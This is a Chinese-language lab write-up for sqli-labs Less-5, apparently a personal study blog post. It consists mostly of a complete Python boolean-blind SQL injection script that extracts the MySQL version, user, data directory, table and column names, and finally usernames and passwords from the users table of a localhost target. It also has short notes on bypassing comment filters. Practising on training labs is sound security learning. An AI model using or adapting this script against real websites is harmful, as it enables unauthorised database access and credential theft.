思考1：當# --+都被過濾時，只能考慮閉合處理

思考2：union聯合註入時必須先判斷字段長度

eg. id=1‘ order by 3 and ‘1‘=‘1

sqli5：

首先判斷出對id經過了‘處理

其次發現結果不再回顯

ok那就盲註了，先判斷mysql版本，版本過低可優先考慮dns邊信道攻擊。

bool盲註的腳本

  1 # -*- coding: utf-8 -*-
  2 """
  3 Created on Sat Mar 23 16:03:43 2019
  4 
  5 @author: kenshin
  6 """
 
  7 
  8 import requests,re
  9 url = ‘http://localhost/sqli-labs/Less-5/?id=1‘
 10 pattern_mark = ‘You are in...........‘
 11 
 12 def get_version(url):
 13     #mysql版本標準：x.x.xx
 14     #假設lstsion長度為5
 15     lst = [‘#‘ for x in range(0, 5)]
 16     lst[1] = lst[3] = ‘.‘
 17     for i in (1,3,5
 
,6):
 18         for ii in range(48,58):
 19             payload = "\‘ and ascii(substr((select version()),"+str(i)+",1))="+str(ii)+" --+"
 20             url_new = url + payload
 21             r = requests.get(url_new)
 22             if(re.findall(pattern_mark,r.text)):
 23                 lst[i-1
 
] = str(ii-48)
 24                 break
 25     sr = ‘‘.join(lst)
 26     print("the lstsion of mysql："+sr)
 27 
 28 def get_user(url):
 29     #假設user()長度為15
 30     lst = [‘#‘ for x in range(0,15)]
 31     for i in range(1,16):
 32         for ii in ‘qwertyuiopasdfghjklzxcvbnm1234567890_-@‘:
 33             payload = "\‘ and substr((select user()),"+str(i)+",1)=‘"+ii+"‘ --+"
 34             url_new = url + payload
 35             r = requests.get(url_new)
 36             if(re.findall(pattern_mark,r.text)):
 37                 lst[i-1] = ii
 38                 print(ii)
 39                 break
 40     sr = ‘‘.join(lst)
 41     print("the user of database: "+sr)
 42     
 43 def get_datadir(url):
 44     #假設@@datadir長度為32
 45     lst = [‘#‘ for x in range(0,32)]
 46     for i in range(1,33):
 47         for ii in ‘:\\qwertyuiopasdfghjklzxcvbnm1234567890_-‘:
 48             payload = "\‘ and substr((select @@datadir),"+str(i)+",1)=‘"+ii+"‘ --+"
 49             url_new = url + payload
 50             r = requests.get(url_new)
 51             if(re.findall(pattern_mark,r.text)):
 52                 lst[i-1] = ii
 53                 print(ii)
 54                 break
 55     sr = ‘‘.join(lst)
 56     print(sr)
 57     
 58 def get_currTB(url):
 59     #假設當前數據庫最多有10個表[i標識]
 60     for i in range(0,10):
 61         #假設最長的表名長度為10[ii標識]
 62         lst = [‘#‘ for x in range(0,10)]
 63         for ii in range(1,11):
 64             for iii in ‘qwertyuiopasdfghjklzxcvbnm1234567890_-#‘:
 65                 payload = "\‘ and substr((select * from information_schema.tables where table_schema=database() limit "+str(i)+",1),"+str(ii)+",1)=‘"+str(iii)+"‘ --+"
 66                 url_new = url + payload
 67                 r = requests.get(url_new)
 68                 if(re.findall(pattern_mark,r.text)):
 69                     lst[ii-1] = iii
 70                     print(iii)
 71                     break
 72             if(lst[ii-1] == ‘#‘):
 73                break
 74         sr = ‘‘.join(lst)
 75         print(sr)
 76 
 77 def get_Column(url,tb):
 78     #假設當前列最多有3個字段[i標識]
 79     for i in range(0,3):
 80         #假設每個字段最長的數據長度為10
 81         lst = [‘#‘ for x in range(0,10)]
 82         for ii in range(1,11):
 83             for iii in ‘@qwertyuiopasdfghjklzxcvbnm1234567890_-#‘:
 84                 payload = "\‘ and substr((select column_name from information_schema.columns where table_name=‘"+tb+"‘ limit "+str(i)+",1),"+str(ii)+",1)=‘"+str(iii)+"‘ --+"
 85                 url_new = url + payload
 86                 r = requests.get(url_new)
 87                 if(re.findall(pattern_mark,r.text)):
 88                     lst[ii-1] = iii
 89                     print(iii)
 90                     break
 91             if(lst[ii-1] == ‘#‘):
 92                break
 93         sr = ‘‘.join(lst)
 94         print(sr)
 95 def get_data(url):
 96     #假設當前列有10條數據[i標識]
 97     for i in range(1,11):
 98         #假設每條數據最長的數據長度為25
 99         lst = [‘#‘ for x in range(0,25)]
100         for ii in range(1,26):
101             for iii in ‘%@qwertyuiopasdfghjklzxcvbnm1234567890_-#‘:
102             #變量太多，payload一些變量在代碼端自行設置TT
103                 payload = "‘ and substr((select group_concat(id,‘%‘,username,‘%‘,password) from security.users where id="+str(i)+"),"+str(ii)+",1)=‘"+str(iii)+"‘ --+"
104                 url_new = url + payload
105                 r = requests.get(url_new)
106                 if(re.findall(pattern_mark,r.text)):
107                     lst[ii-1] = iii
108                     print(iii)
109                     break
110             if(lst[ii-1] == ‘#‘):
111                break
112         sr = ‘‘.join(lst)
113         print(sr)
114 """
115 dnslog
116 """
117 
118 
119 #get_lstsion(url)
120 #get_user(url)
121 #get_datadir(url)
122 #get_currTB(url)
123 #tb = input("select table >> ")
124 #get_Column(url,tb)
125 get_data(url)

sqli-labs：5-，基於報錯的註入